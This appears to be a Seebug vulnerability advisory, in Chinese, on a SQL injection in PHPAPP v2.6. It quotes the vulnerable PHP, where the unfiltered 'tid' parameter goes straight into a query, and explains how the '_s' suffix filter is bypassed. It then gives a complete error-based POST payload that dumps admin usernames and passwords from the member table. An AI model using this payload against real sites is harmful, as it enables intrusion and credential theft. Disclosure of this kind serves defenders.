PHPAPP注入第三枚(无视过滤)

2014-12-26T00:00:00
ID SSV:95696
Type seebug
Reporter Root
Modified 2014-12-26T00:00:00

Description

简要描述:

详细说明:

在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。 PSOT注入点:wwww.xxx.com//member.php?action=7&app=82 , 存在漏洞的文件在/phpapp/apps/sellerservice/member_phpapp.php 来看看漏洞是如何产生的/phpapp/apps/sellerservice/member_phpapp.php

``` function AddMessageAction(){

      if($this->POST['Submit']){

             $uid=$this->uid;

             if($uid>0){
                   /*
                    $allow=$this->CheckAllow('task_seller_usergroup',array(
                                                        'messagetask'=>''
                                                 )
                                         );
                        */

                        $allow='ok';
                    if($allow=='ok'){



                            $this->tid=$this->POST['tid'];

                            $strings=new CharFilter($this->POST['content']);
                            if(empty($this->POST['content'])){
                                 echo '请输入留言内容!';
                                 echo $this->CloseNowWindows('#loading');
                            }elseif($strings->CheckLength(5)){ 
                                 echo '对不起!,留言不能少5个字!';
                                 echo $this->CloseNowWindows('#loading');
                            }else{

                                 //过虑
                                 $content=$this->str($this->POST['content'],200,0,1,1,0,1);

                                 if($this->tid!=0){

                                       $task=$this->GetMysqlOne('seller,uid,subject,process'," ".$this->GetTable('task')." WHERE tid='$this->tid'");

                                       if($task['process']==6){

                                             echo '该服务已关闭!不能操作<br />';                                               
                                       }

无关代码 } ```

在把$_POST的值赋$this->POST时,对类似于’string_s’的参数进行了过滤,只要结尾不是’_s’就可以绕过过滤。 可以看到:$this->tid=$this->POST['tid'];及 $task=$this->GetMysqlOne('seller,uid,subject,process'," ".$this->GetTable('task')." WHERE tid='$this->tid'");再没有经过任何过滤,造成了注入。 Phpapp可以显错,那就用error-based blind进行注入。 Pyload:(POST提交)

Submit=1&content=123456&tid=2' or (select 1 from (select count(*),concat(floor(rand(0)*2), (select concat(0x23,username,0x23,password) from phpapp_member limit 0,1))a from phpapp_member group by a)b) or'

注入成功,管理员用户名及密码如下图中所示:

<img src="https://images.seebug.org/upload/201412/24235231d0f978d85f7583cb768de9c8483b6308.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">

漏洞证明:

见 详细说明